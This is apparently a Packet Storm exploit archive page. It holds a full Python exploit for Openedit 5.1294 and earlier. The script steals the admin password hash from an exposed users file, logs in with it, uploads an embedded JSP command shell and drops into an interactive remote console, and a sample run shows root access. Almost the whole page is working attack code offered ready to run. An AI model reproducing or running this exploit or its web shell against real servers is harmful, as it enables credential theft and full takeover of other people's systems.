exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Openedit 5.1294 Code Execution

Openedit 5.1294 Code Execution
Posted Feb 11, 2011
Authored by mr_me

Openedit versions 5.1294 and below remote code execution exploit.

tags | exploit, remote, code execution
SHA-256 | 109e8071366bcc32318f57ba9b3bf472dcff4fe4ec1e701fc1872b146240f5fa

Openedit 5.1294 Code Execution

Change Mirror Download
#!/usr/bin/python
#
# Openedit <= v5.1294 Remote Code Execution Exploit
# http://net-ninja.net/blog/?p=553
# watch http://www.zeitgeistmovie.com/
#
# Explanation:
# Vuln 1: Admin hash disclosure
# Vuln 2: Login with the hash
# Vuln 3: Unprotected file upload
#
# [mr_me@pluto openedit]$ sudo python ./openown.py -p localhost:8080 -t 192.168.1.7:8080 -d /
#
# | ---------------------------------------------- |
# | Openedit v5.1294 Remote Code Execution Explo!t |
# | by mr_me - net-ninja.net --------------------- |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Stealing admin hash.. hash stolen ! DES:2JPGMLB8Y60=
# (+) Logging into CMS.. logged in successfully
# (+) Generating and executing upload.. shell upload was successful..
# (+) Shell located @ http://192.168.1.7:8080/eb5b2052fc6c2f6252af578bb9a66cf3.jsp?cmd=[CMD]
# (+) Entering interactive remote console (q for quit)
#
# root@192.168.1.7:8080# id
#
# uid=0(root) gid=0(root) groups=0(root)
#
# root@192.168.1.7:8080# uname -a
#
# Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux
#
# root@192.168.1.7:8080# q
# [mr_me@pluto openedit]$

import sys, socket, urllib, re, urllib2, getpass
from optparse import OptionParser
from random import choice
from cookielib import CookieJar

try:
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
except:
print "(!) Please download pyposter-04 to use this tool"
print "--> http://pypi.python.org/pypi/poster/0.4"
sys.exit(1)

usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.15:8080 -d /ROOT2/openedit/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
help="Directory path to the CMS")

(options, args) = parser.parse_args()

def banner():
print "\n\t| ---------------------------------------------- |"
print "\t| Openedit v5.1294 Remote Code Execution Explo!t |"
print "\t| by mr_me - net-ninja.net --------------------- |\n"

if len(sys.argv) < 5:
banner()
parser.print_help()
sys.exit(1)

agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
"Microsoft Internet Explorer/4.0b1 (Windows 95)",
"Opera/8.00 (Windows NT 5.1; U; en)"]

agent = choice(agents)

jspSname = "eb5b2052fc6c2f6252af578bb9a66cf3.jsp"
jspShell = """
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
out.println("lulzStart");
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
out.println("lulzEnd");
}
%>
"""

def getProxy():
try:
proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
except(socket.timeout):
print "\n(-) Proxy timed out"
sys.exit(1)
return proxy_handler

def testProxy():
sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
sys.stdout.flush()
opener = urllib2.build_opener(getProxy())
try:
check = opener.open("http://www.google.com").read()
except:
check = 0
pass
if check >= 1:
sys.stdout.write("proxy is found to be working!\n")
sys.stdout.flush()
else:
print "proxy failed, exiting.."
sys.exit(1)

def doPost(exploit, cmd=None):
if options.proxy:
try:
values = {'cmd' : cmd }
data = urllib.urlencode(values)
proxyfier = urllib2.build_opener(getProxy())
proxyfier.addheaders = [('User-agent', agent)]
check = proxyfier.open(exploit, data).read()

except urllib2.HTTPError, error:
check = error.read()
pass
else:
try:
req = urllib2.Request(exploit)
req.addheaders = [('User-agent',agent)]
check = urllib2.urlopen(req).read()
except urllib2.HTTPError, error:
check = error.read()

return check

def interactiveAttack():
print "(+) Entering interactive remote console (q for quit)\n"
hn = "%s@%s# " % (getpass.getuser(), options.target)
cmd = ""
while cmd != 'q':
try:
cmd = raw_input(hn)
sploit = ("http://%s%s%s" % (options.target, options.dirPath, jspSname))
resp = doPost(sploit, cmd)
shellOutput = resp.split("lulzStart")[1].split("lulzEnd")[0]
print shellOutput.split('\r\n')[0]
except:
break

def getAdminHash():
sys.stdout.write("(+) Stealing admin hash..")
sys.stdout.flush()
hashReq = ("http://%s%sopenedit/files/download/WEB-INF/users/admin.xml" % (options.target, options.dirPath))
resp = doPost(hashReq)
hash = re.search("<password>(.*)</password>", resp)
sys.stdout.write(" hash stolen ! %s\n" % (hash.group(1)))
sys.stdout.flush()
return hash.group(1)

def tryUpload(cookie):
sys.stdout.write("(+) Creating shell and preparing.. ")
sys.stdout.flush()
adminCookie = re.search("JSESSIONID=(.*) for", str(cookie))
url = ("http://%s%sopenedit/filemanager/upload/uploadfile-finish.html" % (options.target, options.dirPath))

try:
writeShell = open(jspSname,'w')
writeShell.write(jspShell)
writeShell.close()
except:
print "(-) Exploit failed, you must have permission to write locally."
sys.exit(1)

register_openers()
datagen, headers = multipart_encode({"file": open(jspSname), "path": "/WEB-INF/base/"})
headers['Cookie'] = "JSESSIONID="+adminCookie.group(1)+";"
headers['User-agent'] = agent
request = urllib2.Request(url, datagen, headers)
request.set_proxy(options.proxy, 'http')
resp = urllib2.urlopen(request).read()
writeShell.close()
if re.search("UPLOAD SUCCESSFUL", resp):
sys.stdout.write("shell upload was successful!\n")
sploit = ("http://%s%s%s?cmd=[CMD]" % (options.target, options.dirPath, jspSname))
sys.stdout.write("(+) Shell located @ %s\n" % (sploit))
sys.stdout.flush()

def doLogin(adminHash):
sys.stdout.write("(+) Logging into CMS.. ")
sys.stdout.flush
adminIndex = "http://" + options.target + options.dirPath + "openedit/authentication/logon.html"
values = {'loginokpage' : '', 'accountname' : 'admin', 'password' : adminHash, 'submit' : 'Login'}
data = urllib.urlencode(values)
cj = CookieJar()
if options.proxy:
try:
opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [('User-agent', agent)]
check = opener.open(adminIndex, data).read()
except:
print "\n(-) Proxy connection failed to remote target"
sys.exit(1)
else:
try:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
check = opener.open(adminIndex, data).read()
except:
print "(-) Target connection failed, check your address"
sys.exit(1)
if not re.search("Please enter your password", check):
sys.stdout.write("logged in successfully\n")
sys.stdout.flush()
return cj
else:
sys.stdout.write("Login Failed! Exiting..\n")
sys.stdout.flush()
sys.exit(1)

def main():
banner()
if options.proxy:
testProxy()
adminHash = getAdminHash()
adminCookie = doLogin(adminHash)
tryUpload(adminCookie)
interactiveAttack()
if __name__ == "__main__":
main()

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close